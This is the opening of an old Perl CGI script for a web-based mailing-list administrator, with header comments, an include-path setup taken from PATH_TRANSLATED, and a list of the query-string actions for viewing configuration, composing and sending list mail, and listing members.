#File: MailListAdmin_basic.pl - Version 3.00
#

#for the files specified by the "require" statements.
$ENV{"PATH_TRANSLATED"} =~ s/\w+\..{1,}$//;
push (@INC,$ENV{"PATH_TRANSLATED"});
#
#	This program was written to support basic mailing-list functionality
#without being dependent on an actual email alias for the mailing list. This
#increases the portability while also significantly reducing  the possibilitiy
#of spammers spamming members.
#
#	This particular file will do one of the following depending on the 
#parameters passed to it:
#	a is the value for "a" in the query string, which can be any of the following:
#		0 - Print the Configurations for the current list
#		1 - Print the email form to email a message to members of the current list
#		2 - Mail the message to current list
#		8 - Print the members of the current list
#		9 - View all the currently configured Mailing Lists 
#
